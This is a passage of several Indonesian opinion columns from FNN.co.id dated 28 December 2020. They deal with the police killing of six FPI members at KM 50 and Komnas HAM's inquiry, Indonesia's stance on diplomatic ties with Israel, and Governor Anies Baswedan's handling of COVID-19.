mengalami penyiksaan di tangan aparat. Sampai hari ini tidak jelas rimbanya. Jadi, penyelidikan kasus pembunuhan 6 anggota FPI bisa dijadikan platform oleh Komnas HAM untuk segera melepaskan diri dari kungkungan ketakutan, dependensi, intervensi dan intimidasi. Jika tidak, maka kepercayaan publik akan kandas sampai ke dasar tong.[] Penulis adalah Wartawan Senior FNN.co.id

Ketika Jenazah 6 Laskar FPI Bicara (1)

By Mochamad Toha Surabaya FNN - Senin (28/12). Dalam investigasi Majalah TEMPO, pada 7 Desember 2020, sebanyak enam Laskar FPI tertembak. Argumentasi polisi, para korban terbunuh ketika merebut senjata para personil. Namun, tubuh para jenazah itu secara fisik berbicara: Mereka terbunuh akibat disiksa! Bagian-bagian tubuh mereka terluka. Mereka tewas akibat tembakan jarak dekat. Dibuktikan dengan adanya kulit yang gosong di sekitar luka tembakan. Mereka ditembak jarak dekat agar diam, tak membongkar kekejaman yang dialami. Mereka tertembak dalam modus sama. Di sekitar dada kiri. Arah jantung untuk membunuh. Masihkah tidak ada empati bagi masyarakat Indonesia atas pelanggaran HAM berat ini? Apakah kita harus menunggu Mahkamah Internasional turun ke Indonesia? Sekarang ini masih menunggu keberanian Komnas HAM, apakah berani mengungkap semua bukti yang telah ditemukan. Terkait “rumah kejadian” yang disebut-sebut sudah ditemukan Komnas HAM saja, ternyata dinyatakan “Tidak Benar” alias Hoax! Hal tersebut disampaikan Komnas HAM dalam Konferensi Pers Tim Penyelidikan Komnas HAM Atas Peristiwa Kematian 6 Laskar FPI di Karawang: Perkembangan Penyelidikan dan Hasil Temuan Lapangan, pada Senin, 28 Desember 2020. Ironinya Temuan Seperti dilansir Tempo.co, Senin (28 Desember 2020 11:28 WIB), Komnas HAM menyebut belum mengeluarkan kesimpulan atau rekomendasi terkait insiden tewasnya enam laskar FPI pada Senin, 7 Desember 2020. “Kami tegaskan hingga saat ini, Komnas HAM belum mengeluarkan rekomendasi apapun, kami masih berproses mendetailkan insiden ini,” kata Komisioner Komnas HAM Choirul Anam saat konferensi pers pada Senin, 28 Desember 2020. Anam mengatakan beberapa pekan terakhir, lembaga ini telah mewawancarai sejumlah orang mulai dari kubu FPI, penyidik Polda Metro Jaya, Bareskrim, dokter forensik, bahkan Jasa Marga sebagai pengelola jalan tol. Komnas telah turun ke lapangan untuk mewawancarai saksi masyarakat yang melihat peristiwa dan memeriksa CCTV di KM 50 Tol Jakarta-Cikampek. Mereka juga memperoleh rekaman di jalan tol sebelum kejadian dan sesudah kejadian. Komnas HAM juga memperoleh proyektil peluru dan bekas pecahan mobil yang diperoleh dari lapangan. Komnas HAM mengantongi bukti-bukti ini, sebab mereka turun ke lokasi di hari yang sama saat insiden tersebut terjadi. “Kami turun sebelum ada voice note yang beredar di masyarakat,” ungkap Anam. Menurut Anam, proyektil dan selongsong ini akan diuji balistik. Ia berjanji uji balistik ini akan terbuka. Anam mengatakan dari hasil pemeriksaan lapangan ada tujuh proyektil dan empat selongsong. “Kami berjanji akan menggelar uji balistik secara terbuka dan transparan,” katanya. Anam mengatakan, dari hasil pemeriksaan lapangan ada tujuh proyektil. “Namun yang kami yakin hanya enam, karena satu bentuknya sudah tidak jelas,” kata Anam. Berarti 3 selongsong “hilang”, padahal ada 7 proyektil yang ditemukan. Seharusnya, jumlah selongsongnya ada 19 biji, karena total lubang peluru di tubuh jenazah itu ada 19. Di mana 12 proyektil lainnya? Juga, ada di mana 16 selongsong lainnya? Biasanya, selongsong peluru itu jatuhnya tidak jauh dari penembak. Komnas HAM seharusnya bisa mengungkap hal ini. Karena, tubuh jenazah itu bisa berbicara, tidak akan hoax! Anam mengatakan, Komnas HAM sama sekali belum mengeluarkan rekomendasi apapun terkait insiden ini. Sebab, kata dia, Komnas HAM masih harus mengecek sejumlah hal. Sebelumnya, seperti dilansir Detik.com, Kamis (24 Des 2020 19:23 WIB), Komnas HAM meminta keterangan polisi terkait insiden konta- tembak antara polisi dan laskar FPI di Km 50 Tol Jakarta-Cikampek. “Tim penyelidikan Komnas HAM, hari ini, 24 Desember 2020, telah melakukan permintaan keterangan petugas kepolisian dari Polda Metro Jaya terkait berbagai peristiwa kematian 6 orang anggota laskar FPI,” ungkap Anam. Permintaan keterangan ini berlangsung selama 5 jam dimulai pukul 11.30 WIB di Polda Metro Jaya yang diikuti oleh M Choirul Anam, Ahmad Taufan Damanik, beserta tim penyelidik Komnas HAM,” kata Ketua Komnas HAM Ahmad Taufan Damanik. Taufan menerangkan pemeriksaan ini dilakukan guna memperjelas kronologi kejadian. Selain itu, sambungnya, untuk menguji kesesuaian dan keterangan yang telah didapat pihak Komnas HAM. “Pemeriksaan untuk memperjelas alur kronologi, menguji persesuaian dan ketidaksesuaian, serta memperdalam beberapa keterangan yang sudah didapat,” ucapnya. Tidak hanya itu, di tempat yang berbeda, Komnas HAM juga memeriksa saksi dari anggota FPI. Komnas HAM juga mendapati dua dokumen untuk ditelaah. Pada hari itu juga tim penyelidik Komnas HAM sedang melakukan pendalaman pada saksi dari anggota FPI. Di samping kedua aktivitas itu, tim penyelidik Komnas HAM mengambil beberapa dokumen penunjang lainnya di tempat berbeda dari dua lokasi tersebut. Komnas HAM menyebut proses investigasi sudah 70 persen. Komnas juga telah memeriksa tim Bareskrim Polri terkait dengan barang bukti senjata api milik polisi dan FPI serta handphone yang juga milik laskar FPI. “Keterangan detail soal 4 senjata api milik petugas dan 2 senjata non-pabrikan yang diklaim polisi milik anggota FPI. Data yang ada di HP milik anggota FPI serta cacat di senjata tajam,” kata komisioner Komnas HAM Beka Ulung Hapsara kepada wartawan, Rabu (23/12/2020). Versi polisi, laskar FPI dan polisi terlibat kontak-tembak di Km 50 Tol Jakarta-Cikampek pada Senin (7/12/2020) dini hari. Kejadian bermula ketika aparat melakukan penyelidikan terhadap pengikut Habib Rizieq Shihab di Tol Jakarta-Cikampek. Penyelidikan polisi dilakukan terkait adanya informasi pengerahan massa saat HRS diperiksa di Polda Metro Jaya pada Senin (7/12/2020). Namun, upaya pengejaran tersebut berujung perlawanan dari pengikut HRS. Anam mengatakan, perkembangan penyelidikan kasus tersebut kini dalam tahap konsolidasi bahan. Rencananya, temuan-temuan Komnas HAM akan diuji oleh para ahli. Jika semua tahapan sudah dilalui, Anam memastikan akan mengumumkan hasilnya. “Segera mungkin kalau semua prosesnya sudah kami lalui,” ujar dia kepada Tempo, Ahad, 27 Desember 2020. Versi Bareskrim Polri, pengikut HRS dan aparat kepolisian terlibat kontak-tembak hingga menewaskan 6 pengikut HRS. Benarkah memang terjadi “kontak-tembak” antara pengikut HRS dan polisi. Jenazah korban akan bicara faktanya! (Bersambung). Penulis wartawan senior FNN.co.id

Komnas HAM Smart, Proyektil dan Selongsong Dijadikan Public Domain

By Asyari Usman Medan FNN - Senin (28/12). Dalam konprensi pers (konpers) pagi tadi (28/12/2020) di kantor Komnas HAM, Menteng, Jakarta Pusat, terkait penyelidikan peristiwa pembunuhan 6 anggota FPI pada 7 Desember, memang tidak banyak yang dijelaskan. Ada dua bukti kunci yang disebutkan. Yaitu, 6 proyektil dan 4 selongsong peluru yang mereka temukan di lokasi peristiwa. Selain itu, Komisaris Chairul Anam mengatakan pihaknya mengumpulkan banyak bukti lain, termasuk serpihan mobil. Dia juga menjelaskan bukti dalam bentuk wawancara dengan berbagai pihak yang relevan. Ada wawancara dengan orang FPI, dengan polisi, anggota masyarakat, dll. Ada juga ‘voice notes’ (rekaman suara) dari pihak FPI. Penjelasan Komnas masih ‘kering’ jika dilihat secara kuantitatif. Tetapi, publik sebaiknya membaca isyarat penting dari konpers ini. Bahwa Komnas ingin supaya 6 proyektil dan 4 selongsong peluru itu segera menjadi ‘public domain’ (pengetahuan publik). Kedua item ini sangat kualitatif. Tujuan Komnas menjadikan ini ‘public domain’ ialah agar barang bukti tsb langsung dikunci (locked) di kepala masyarakat dan disimpan oleh Komnas. Sehingga, tidak bisa lagi “ditukangi” oleh siapa pun. Mengapa dua item ini penting sekali? Sebab, proyektil dan selongsong peluru itu adalah pemeran utama pembunuhan KM-50. Tampaknya, Komnas menggelar konpers yang dipercepat ini dalam rangka mengamankan kedua bukti itu. Salah satu yang terbaca adalah bahwa Komnas boleh jadi sudah mendapatkan “clue” (petunjuk) tentang ke arah mana nanti pengustan proyektil dan selongsong itu akan bermuara. Sekarang, masyarakat sudah mencatat keberadaan dua bukti fisik tersebut. Kalau nanti, misalnya, hilang, dicuri atau dirusak maka publik bisa paham apa yang terjadi. Dan bisa pula menduga siapa yang paling berkepentingan agar proyektil dan selongsong itu hilang atau rusak. Komnas mengatakan terhadap kedua jenis barang bukti ini akan dilakukan uji balistik secepatnya. Sangat taktis. Komnas HAM ‘smart’ sekali. Menggelar konpers sedini mungkin untuk memberitahukan kepada khalayak tentang keberadaan dua barang bukti krusial tsb. Sekarang, kalau ada yang sangat ingin melakukan ‘upgrading’ atau ‘downgrading’ terhadap 6 proyektil dan 4 selongsong peluru itu, tentunya diperlukan kerja keras. Kedua bukti itu ada pada posisi ‘locked’ (digembok).[] (Penulis wartawan senior FNN.co.id)

Godaan Membuka Hubungan Diplomasi dengan Israel

By Shamsi Ali*) New York FNN - Senin (28/12). Akhir-akhir ini pemerintahan Amerika di bawah Donald Trump begitu pro-aktif dan gencar membujuk dan/atau menekan negara-negara Arab dan Islam untuk membuka hubungan diplomasi dengan negara Israel. Hingga saat ini beberapa negara di antaranya Uni Emirates, Bahrain, Maroko dan Sudan telah menanda tangani hubungan diplomasi dengan Israel. Hubungan diplomasi dengan beberapa negara Arab dan Muslim ini sekaligus memperjelas makna kata “perdamaian” yang selama ini Trump dengungkan. Bahwa perdamaian Timur Tengah bagi Israel adalah terjadinya pengakuan atau hubungan diplomasi dengan negara-negara Arab dan Islam. Atau apa yang biasa disebut dengan rekonsiliasi antara Israel dan negara-negara Arab dan Islam. Artinya kata “perdamaian” sesungguhnya hampir saja tidak mengandung makna “perdamaian antara Israel dan Palestina”. Dengan kata lain perdamaian yang dimaksud bukan terjadinya solusi permanen terhadap konflik Israel dan Palestina dengan kemerdekaan bangsa Palestina. Inilah sebabnya dalam empat tahun terakhir upaya-upaya perdamaian Timur Tengah sama sekali tidak melibatkan Palestina. Justeru semua proses yang berjalan melibatkan negara lain, termasuk Saudi, Emirat, Mesir, dan Jordan. Palestina nampak sengaja diabaikan dan dianggap tidak punya eksistensi dalam proses-proses tersebut. Pengakuan Donald Trump secara unilateral terhadap Jerusalem sebagai Ibukota Israel dan pemindahan Kedutaan Amerika ke Jerusalem adalah bukti nyata akan kesemena-menaan itu. Semua yang dilakukan itu melanggar berbagai resolusi PBB yang menyatakan bahwa Jerusalem adalah daerah yang diperselisihkan (disputed territory) dan tidak boleh ada yang mengakuinya. Serta tidak boleh ada perwakilan negara asing di daerah tersebut hingga pada masanya ada persetujuan final antara Israel dan Pelestina. Upaya-upaya Israel melalui tangan-tangan Amerika untuk menarik pengakuan dari negara-negara Arab dan Islam akan terus dilakukan secara terbuka. Tidak tanggung-tanggung memakai yang sogokan, bahkan intimidasi sekaligus. Negara-negara seperti Uni Emirate dan Bahrain di intimidasi dengan memakai ancaman Iran. Bahwa jika negara-negara itu tidak mengakui Israel maka boleh jadi tidak akan mendapatkan pembelaan Amerika jika suatu ketika Iran menyerangnya. Amerika tentu mengingatkan apa yang pernah terjadi dengan Kuwait oleh Saddam Husain di masa lalu. Sudan sendiri menerima bujukan Amerika untuk membuka hubungan diplomatik dengan Israel dengan barteran mengakhiri boikot yang cukup panjang di negara Afrika itu. Apalagi isu Darfur masih terus menjadi isu yang cukup mengganggu bagi negara yang cukup kental dengan pergerakan IM di zaman Omar Basyir itu. Lalu bagaimana dengan Indonesia? Di luar negara-negara Arab, Indonesia menjadi target utama dari kampanye ini. Selain karena Indonesia memang memilki strategi penting di Asia Pasifik dan dunia Islam, Indonesia juga merupakan salah satu ekonomi besar (giant economi) dunia. Tapi yang terpenting adalah bahwa Indonesia adalah negara Muslim terbesar yang sejalan dengan norma-norma modern dan nampaknya lebih mudah diarahkan. Hal ini semakin nampak ketika baru-baru ini Adam Boehler, Kepala Eksekutif DFC Amerika, mengatakan bahwa jika Indonesia bersedia membuka hubungan diplomasi dengan Israel Korporasi keuangan pembangunan International Amerika Serikat dapat melipat gandakan tawaran sebelumnya sebesar 1 milyar US$. Ditambah lagi belum lama ini ada Menteri Indonesia yang melakukan pertemuan dengan Presiden Donald Trump di Gedung Putih, justeru di akhir-akhir masa kepresidenannya. Anehnya justeru yang mendampingi Donald Trump dalam pertemuan itu adalah menantunya Jared Kushner yang juga Penasehat senior Presiden untuk urusan Timur Tengah. Apakah ini semua hanya “by accident” atau secara kebetulan dan bukan sesuatu yang memang direncanakan? Hanya mereka dan Allahu a’lam (Yang Maha Tahu). Hal yang kemudian menggembirakan adalah bahwa hingga saat ini Kementerian Luar Negeri RI masih konsisten dengan posisi awal bahwa RI tidak akan membuka hubungan diplomasi dengan Israel selama negara itu masih berstatus sebagai penjajah negara Palestina. Posisi Indonesia ini adalah sebuah keniscayaan. Dan nampaknya hingga saat ini belum ada alasan untuk berubah. Keharusan untuk Indonesia tegas dalam menentang hubungan diplomasi ini karena disebabkan oleh beberapa hal. Pertama, sebagai Demokrasi Indonesia tentu akan selalu memperhatikan aspirasi rakyatnya. Dan hingga kini tidak diragukan lagi bahwa rakyat Indonesia menentang hubungan diplomasi itu. Penentangan rakyat Indonesia ini saya yakin didorong pertama kali oleh “iman mayoritas” masyarakat yang menentang penjajahan. Bagi Umat Islam, keimanan kepada “laa ilaaha illallah” juga merupakan keyakinan bahwa penjajahan adalah bentuk perbudakan yang wajib ditentang. Kedua, mungkin bangsa Indonesia masih ingat bahwa salah satu negara yang pertama sekali mengakui kemerdekaan RI adalah Palestina. Maka pastinya Indonesia masih sadar sejarah serta tahu berterima kasih kepada bangsa Palestina. Hal ini juga tentunya didukung oleh semangat “humanitarian solidarity” (solidaritas kemanusiaan) bahwa penjajahan itu memang bentuk kezholiman serta bertentangan dengan perikemanusiaan dan perikeadilan. Ketiga, dan ini tentunya yang paling mendasar. Bahwa UUD negara Republik Indonesia dengan tegas menyatakan bahwa sesungguhnya kemerdekaan itu ialah hak segala bangsa dan oleh sebab itu, maka penjajahan di atas dunia harus dihapuskan, karena tidak sesuai dengan perikemanusiaan dan perikeadilan. Alasan ketiga ini saya yakin menjadi dasar yang begitu kuat untuk Indonesia kokoh dan konsisten dalam menentang normalisasi hubungan dengan Israel. Bahwa selama Israel masih berstatus sebagai penjajah bangsa Palestina, selama itu pula Indonesia secara Konstitusi tidak akan pernah dibenarkan untuk membuka hubungan diplomasi itu. Dan kalau sampai pemerintah Indonesia membuka hubungan diplomasi dengan Israel, dengan sendirinya berarti bahwa pemerintah melakukan pelanggaran yang nyata terhadap konstitusi negara. Dan pelanggaran Konstitusi itu jika di Amerika dapat menjadi dasar (ground) untuk memberhentikan pemerintahan atau yang populer dengan impeachment. Bukan anti Yahudi Akhirnya saya ingin menegaskan sekali lagi bahwa posisi RI (dan saya pribadi) tidak harus dimaknai sebagai kebencian kepada pemeluk agama Yahudi. Karena sejatinya Islam tidak membenci orang lain hanya karena beda agama. Banyak yang mengenal jika saya di Amerika Serikat adalah salah seorang yang aktif membangun dialog antar agama, termasuk dengan tokoh-tokoh Yahudi. Bahkan saya pernah menulis sebuah buku bersama seorang pendeta Yahudi berjudul “Anak-Anak Ibrahim: isu-isu yang menyatukan dan membedakan antara Yahudi dan Muslim”. Buku kami saat ini sedang diterjemahkan ke dalam bahasa Arab dan Hebrew (bahasa resmi Yahudi) dan telah diluncurkan di Dubai beberapa hari lalu. Saya pribadi tidak hadir pada acara peluncuran itu karena terlanjur ada agenda lain. Tapi juga karena saya masih memiliki posisi tegas menentang normalisasi hubungan negara-negara Islam dan Israel. Harapan kita adalah semoga suatu ketika bangsa Palestina mendapatkan kemerdekannya. Yang pastinya banyak ditentukan oleh “political will” dari Israel untuk mengembalikan hak-hak bangsa Palestina seperti pada perjanjian tahun 1967. Di mana bangsa Palestina memiliki negara secara berdaulat dan menjadi tetangga yang baik bagi Israel. Pada masa itulah Indonesia dan negara-negara Muslim dapat menjalin hubungan diplomasi secara normal dengan Israel sebagaimana hubungannya dengan semua negara yang ada di dunia ini. Entah kapan. Memang hanya Allah yang tahu! Penulis adalah diaspora Indonesia dan Imam di kota New York.

Sisi Gelap di KM 50, Pertanyaan Untuk Kabareksirm?

Jakarta FNN – Senin (28/12). Nyawa 6 (enam) manusia melayang. Nyawa mereka dicabut oleh peluru Polisi di Kilometer 50 tol Jakarta-Cikampek. Kilometer ini dekat Karawang Barat. Menurut keterangan Kapolda Metro Jaya, Irjen Fadil Imran, alamarhum-almarhum itu pengawal Habib Muhammad Rizieq Sihab. Mereka, kata Kapolda melawan dan membahayakan nyawa petugas. Tampaknya keterangan itu menjadi titik tolak Polisi terus menyelidiki kasus ini. Tentu saja penyelidikan ini bermaksud membuat terang kasus ini. Tentu tabir-tabir malam yang gelap, hendak dibuat terang, seterangan purnama. Tentu tujuannya, boleh jadi agar hukum tegak. Oke itu bagus. Tapi anehnya, Edy Mulyadi, wartawan FNN.co.id, yang ditugaskan oleh redaksi menginvestigasi kasus itu, dipanggil dan diperiksa penyelidik Polisi. Edy dianggap tahu sebagian kenyataan kasus ini. Padahal Edy Mulyadi tahu karena mewawancarai narasumber. Wawancara itu dilakukan dalam kapasitas Edy Mulyadi sebagai wartawan FNN.co.id Sebagai jurnalis senior, Edy Mulyadi yang 29 tahun menjadi wartawan dan redaksi FNN.co.id tahu benar bahwa pengetahuan kami atas suatu peristiwa hukum yang kami dapat sebagai jurnalis, tidak memenuhi syarat dan kualifikasi untuk dijadikan sebagai saksi. Bagaimana bisa jadi saksi? Kami tidak melihat sendiri, tidak mendengar sendiri atau tidak alami sendiri. Edy Mulyadi kan tahu fakta-fakta itu, karena diceritakan orang kepadanya pada saat memewancarai orang tersebut. Kata orang hukum, sifat pengetahuan Edy itu hanya “de auditu”, dengar dari orang lain. Hukum yang kita pahami bersama tidak menerima “de auditu” untuk jadi bahan kesaksian. Jadi tidak logislah memeriksa Edy Mulyadi yang telah menjadi wartawan sejak tahun 1991 itu. Namun apapun itu, Edy Mulyadi telah diperiksa oleh Direktorat Tindak Pidana Umum Bareskrim Polri. Inila yang menarik. Pemeriksaan itu menggerakan naluri setiap wartawanan untuk menggali sejauh mungkin soal-soal kecil, dengan sisi gelapnya yang terjadi pada peristiwa kilometer 50 ini. Seandainya benar sejak sore hari di rest area kilometer 50 itu telah ada, apalagi banyak Polisi, itu jelas sangat menarik. Apa yang menarik? Apakah jumlah Polisi sebanyak itu telah menjadi kebiasaan, rutin, di rest area itu? Apakah jumlah itu baru terjadi pada sore hari itu? Apakah jumlah itu bertahan hingga malam terjadinya peristiwa mengenaskan itu? Oh iya, polisi yang melakukan penyelidikan, yang akhirnya baku tembak dengan para almarhum, sesuai keterangan resmi Polda, sedang melaksanakan tugas penyelidikan. Tentu saja penyelidikan terhadap Habib Muhammad Rizieq Shihab. Apa yang sedang diselidiki? Ini juga menarik sekali. Siapa di jajaran Polda Metro Jaya, yang menugaskan mereka? Apakah penugasan itu dilakukan secara lisan atau tertulis? Ini harus jelas. Bila perintah itu diberikan secara tertulis, tentu ada surat perintah tugas. Apa diskripsi pemberi perintah dalam surat tugas tersebut? Apa perintah spesifiknya? Intai saja atau tangkap orang-orang itu, atau apa? Apakah di dalam surat perintah itu, berisi perintah mengambil tindakan yang mematikan kepada para almarhum? Rasanya tidak mungkin. Petugas tahu apa yang harus dilakukan bila mereka diserang, yang sifat serangan itu membahayakan keselamatan, bahkan nyawa mereka. Kalau saja perintah tugas itu, terlepas dari diberikan secara lisan atau tertulis, apakah berisi perintah sebatas mengintai Habib Muhammad Rizieq Shihab? Apakah (andai terkonfirmasi) rombongan Habib harus dipepet? Mengintai itu kan esensinya yang penting tahu dimana target yang diintai berada? Sedang berada dia ditempat itu? Dengan siapa saja dia di tempat itu dan seterusnya bla bla bla. Mengetahui keberadaan target, akan memudahkan Polisi, untuk misalnya sewaktu-waktu melakukan penangkapan. Tetapi mengapa andai terkonfirmasi, haruskah Polisi penyelidik memepet kendaraan rombongan Habib? Apakah itu perlu? Semoga tidak ada pepet-memepet. Sekali lagi semoga begitu. Bila tidak begitu, maka ini yang menjadi soal. Sebab mengapa harus dipepet? Sekali lagi, semoga tidak ada pepet-memepet. Sebab, bila pepet-memepet itu ada, maka sulit untuk tidak menjadikan pepet-memepet itu sebagai sebab terdekat, apa yang Polda Meto sebut tembak-menembak itu. Sementara soal tembak-menembak ini benar-benar mengoda naluri setiap yang mengaku diri wartawan. Setiap wartawan, tidak boleh percaya begitu saja kepada salah dari dua pihak yang dianggap bersengketa. Itu wajib hukumnya. Begitulah hukum besi dunia jurnalistik. Tidak bisa ditawar-tawar lagi. Jurnalis wajib hukumnya untuk objektif dalam memberitakan satu pristiwa. Soal tembak-menembak yang dikatakan Kapolda Metro Jayaitu, ternyata disanggah oleh Munarman, Sekertaris Umum FPI. Tetapi oke, lupakan saja dulu siapa yang benar, dan siapa yang salah soal tembak-menembak atau menembak tersebut. Lupakan saja dulu itu. Untuk membuat jelas soal ini, wartawan perlu untuk mengajukan beberapa pertanyaan. Oke, ikut saja logika konfrensi pers Kapolda Metro Jaya. Soalnya adalah siapa persisnya yang mengawali tembakan? Apa yang ditembak? Mobil yang dipakai Polisi? Mobil dinas atau mobil umum yang dipakai Polisi? Pada bagian mana tembakan itu diarahkan? Bagian mana persisnya yang terkena peluru? Berapa peluru? Peluru jenis apa? Anggap saja tembakan diawali oleh pengawal Habib Muhammad Rizieq Shihab, dan petugas penyelidik yang merespon. Respon itu dilakukan dengan cara menembak mereka, sehingga terjadilah baku tembak. Sekalipun beginilah kenyataan yang tak tergoyahkan. Namun tetap saja ada soal. Apa soalnya? Semuanya 6 (enam) orang pengawal Habib Muhammad Rizieq Shihab itu mati. Itu soal besarnya. Apakah keenam almarhum itu tertembak secara bersamaan pada saat itu juga? Apakah keenam almarhum itu semuanya mati ditempat itu? Seandainya tidak, maka ini juga jadi soal lagi. Berapa orang yang mati di tempat itu, dan berapa orang mati di tempat lain. Dimana letak tempat lain itu? Bila semuanya mati di tempat itu, maka soalnya menjadi agak sederhana. Lain lagi, bila mereka semua tidak mati di tempat itu. Apa soalnya? Berapa yang mati di tempat itu, di area kilometer 50, dan di tempat lain? Sementara di tempat lain ini memunculkan soal lain, yang tidak kalah menarik juga. Apakah kematian di tempat lain, padahal sebenarnya mereka telah tertembak di tempat itu, di kilometer 50 itu. Namun pi baru mati di tempat lain? Bila tidak, maka harus ada penjelasan. Penjelasan itu meliputi dua hal. Pertama, soal jarak waktu antara mati di kilometer 50 dengan mati tempat lain itu. Kalau ada almarhum mati ditempat lain, maka soalnya jelas. Soalnya adalah adanya jedah waktu antara mati di area kilometer 50 dengan tempat lain itu. Ini yang benar-benar jadi soal. Apa saja soalnya? Kedua, nah ini jadi sangat teknis. Apa jeda waktu, entah berapa menit atau jam, tidak cukup digunakan komandan pelaksana tugas lapangan untuk melaporkan kepada pemberi perintah tugas itu? Apakah komandan lapangan, berhak mengambil diskresi melakukan tindakan yang berakibat matinya orang? Lain soalnya bila para almarhum mati pada saat yang sama, dan di tempat yang sama. Tentu tidak dibutuhkan laporan itu. Ini yang harus jelas. Ini menyangkut siapa yang bertanggung jawab, dan sampai dimana tanggung jawabnya. Ini berkaitan dengan rantai perintah, atau rantai komando. Bereskah itu? Belum juga. Masih ada pertanyaan menyangkut postur fisik almarhum. Bisakah tembak-menembak, dimalam hari pula, tetapi peluru bersarang pada titik-titik (bagian tubuh) yang mematikan? Kalau titik yang tertembak itu, semuanya mematikan, bagaimana menerangkannya? Menembak kaki, namun kena dada? Bisakah semua tembakan sama sasarannya? Kalau semua sasarannya sama, maka pertanyaannya adalah tembakan-tembakan Polisi itu dimaksudkan untuk melumpuhkan atau mematikan? Soal ini fakta nanti yang bicara. Semoga tidak ada luka di bagian-bagian lain tubuh almarhum. Semoga saja. Namun bila ada, sekecil apapun luka atau cacat kecil itu, tetap saja menjadi persoalan. Tembak-menembak ko ada luka di bagian lain? Luka itu disebabkan oleh apa? Kena benda tumpul? Bagaimana benda tumpul itu digunakan? Andai ada luka, lalu luka itu, misalnya berupa tangan atau kaki yang terkelupas di bagian luarnya, maka pertanyaannya adalah sampai bagaimana luka itu terjadi? Almarhum-almarhum itu berduel dengan petugas hingga terguling-guling, yang mengakibatkan tangan mereka terkelupas? Komnas HAM, kabarnya telah memeriksa mobil yang disita di Polda Metro Jaya. Kabarnya Komnas temukan bercak darah di dalam mobil itu. Bagaimana sebaran darah itu? Darah siapa itu? Darah semua almarhum? Darah dua atau tiga atau empat almarhum? Bila ya, di tempat mana yang lainnya mati? Ahli persenjataan dapat saja menerangkan efek dari jenis peluru, termasuk jarak tembak kepada para almarhum. Ahli senjata pasti dapat jelaskan daya rusak dari tembakan jarak jauh atau dekat. Soal daya rusak ini, ahli senjata juga pasti dapat menerangkan berdasarkan jenis senjata apa yang digunakan. Apakah sisi-sisi gelap dapat digali dalam penyelidikan? Kerja keras yang tentu saja berbasis Promoter saat ini berlangsung di Bareskrim Mabes Polri? Apakah Kabareskrim mempertimbangkannya sebagai bagian dari hal yang dicari dalam penyelidikan ini? Tentu saja tak bagus untuk berspekulasi. Tapi suara Kabareskrim, nampaknya pantas untuk ditunggu saat ini.

Selamat Datang Kembali Gubernur Indonesia

by Tony Rosyid Jakarta FNN – Senin (28/12). Selama 27 hari Anies telah menjalani isolasi diri. Selama 25 hari lidah kehilangan rasa dan penciuman. Telah berulangkali tes swab, hasilnya tetap positif. Saat pertama kali positif terinveksi, Anies membuat video. Mengirimkan kabar sekaligus pesan agar setiap orang yang bertemu dengannya menjalani tes. Ini penting agar tidak ikut menjadi agen penularan ke yang lain. Anies adalah kepala daerah yang pertama kali membentuk tim penanganan Covid-19. Meski tak sedikit yang saat itu menganggap Anies sedang ngigau. Anies juga dituduh telah membuat kegaduhan dan kepanikan masyarakat. Dan macam-macam tuduhan lain lagi. Disisi lain, sejumlah pejabat tinggi sekelas menteri tak percaya Covid-19 bisa masuk ke Indonesia. Alasannya Indonesia daerah tropis. Covid-19 nggak bisa hidup di daerah tropis, katanya. Ada yang komentar bahwa Covid-19 mati dengan empon-empon. Macam-macam argumentasinya. Yakin penyebaran Covid-19 nggak akan meluas di Indonesia, tanggal 1 Maret presiden memberikan insentif di sektor pariwisata. Diskon pesawat 45-50%. Ini dilakukan agar kunjungan wisatawan ke Indonesia di saat pandemi tetap stabil. Ternyata? Meleset semua prediksi Presiden dan anggota kabinetnya. Di mata publik, program insentif ini terkesan konyol bin ngawur. Faktanya, Covid-19 masuk dan meyebar. Jumlah yang terinveksi terus bertambah. Sangat cepat penyebarannya. Tanggal 29 Maret 2020 Anies mengusulkan kepada pemerintah pusat agar dilakukan karantina wilayah. Khusus Jakarta. Usul Anies ditolak, bahkan dengan sangat tegas penolakannya. Covid-19 makin ganas. Pada bulan September, perhari lebih dari 4000 orang yang terinveksi. Di jakarta penambahan ya hampir 2000 orang per hari. Anies berencana ingin perketat Pembatasan Sosial Berskala Besar (PSBB). Juga diprotes. Tak tanggung-tanggung. yang memprotes adalah beberapa menteri. Dianggap mengacaukan upaya memulihkan ekonomi nasional. Ngawur bin ngaco kan? Sampai akhirnya, Habib Rizieq pulang ke Indonesia. Kerumunan terjadi, dan Habib Rizieq dianggap sebagai salah satu penyebab jumlah positif Covid-19 makin banyak. Sang Habib pun dijadikan tersangka dan ditahan. Kena pasal 160 KUHP, dianggap menghasut orang berkerumun dan melanggar aturan. Intinya, pasca Habib Rizieq pulang, ptotokol kesehatan (prokes) diperketat. Dan di pertengahan bulan Desember ini, Menko Meritim Luhut Binsar Panjaitan meminta kepada Anies untuk memperketat PSBB. Lah terus piye too? Kok berubah-ubah siiih? Mana yang bener niiih? Andai saja gagasan karantina eilayah yang diusulkan Anies di akhir bulan Maret diterima, mungkin penyebaran Covid-19 di Indonesia tidak separah seperti sekarang. Begitu juga dengan nasib ekonomi Indonesia. Relatif masih bisa diselamatkan. Tak perlu ada yang ditahan gara-gara kerumunan. Namun nasi sudah jadi bubur. Semua sudah jadi takdir sejarah. Dan Anies, tak hanya jadi orang pertama yang membentuk tim Covid-19, dan turun langsung menangani Covid-19. Anies pun ikut merasakan menjadi pasiennya. Anies juga tertular, dan harus menjalankan program isolasi mandiri sebagaimana pasien-pasien yang lain. Meski berada di rumah isolasi, Anies tak berhenti memimpin lokomotif Ibu Kota. Semua kegiatan tetap berjalan atas instruksi dan konsolidasinya. Jadi pasien Covid-19 tak menyurutkan Anies untuk tetap bekerja dan berkarya. Barangkali ini yang membuat proses penyembuhan Anies cukup lama. Karena tak rehat dan istirahat sebagaimana umumnya pasien yang lain. Begitulah risikonya menjadi seorang pemimpin. Nggak boleh istirahat! Terbukti, dimasa isolasi, DKI Jakarta masih meraih sejumlah penghargaan. DKI Jakarta diganjar dengan penilaian Wajar Tanpa Pengecualian (WTP) dari Badan Pemeriksa Keuangan (BPK). Ganjaran WTP ini bukan pertama kalinya. Namun sudah untuk yangketiga kalinya. Tiga tahun berturut-turut Jakarta mendapat ganjaran WTP dari BPK. Selain itu, provinsi DKI Jakarta meraih penghargaan Provinsi Terinovatif dari Kemendagri, dan penghargaan Kota Peduli HAM. Tidak hanya itu. Pemprov DKI juga mendapat penghargaan Top Digital Award 2020. Semua ini diterima saat Anies diisolasi karena Covid-19. Artinya, meski diisolasi, Anies tetap bekerja dan meraih prestasi. Yang dibutuhkan dari seorang pemimpin itu pertama, gagasannya. Seorang pemimpin mesti punya terobosan dan mampu berpikir out of teh box. Kedua, kemampuan menggerakkan bawahannya. Inilah fungsi leadership itu. Memastikan 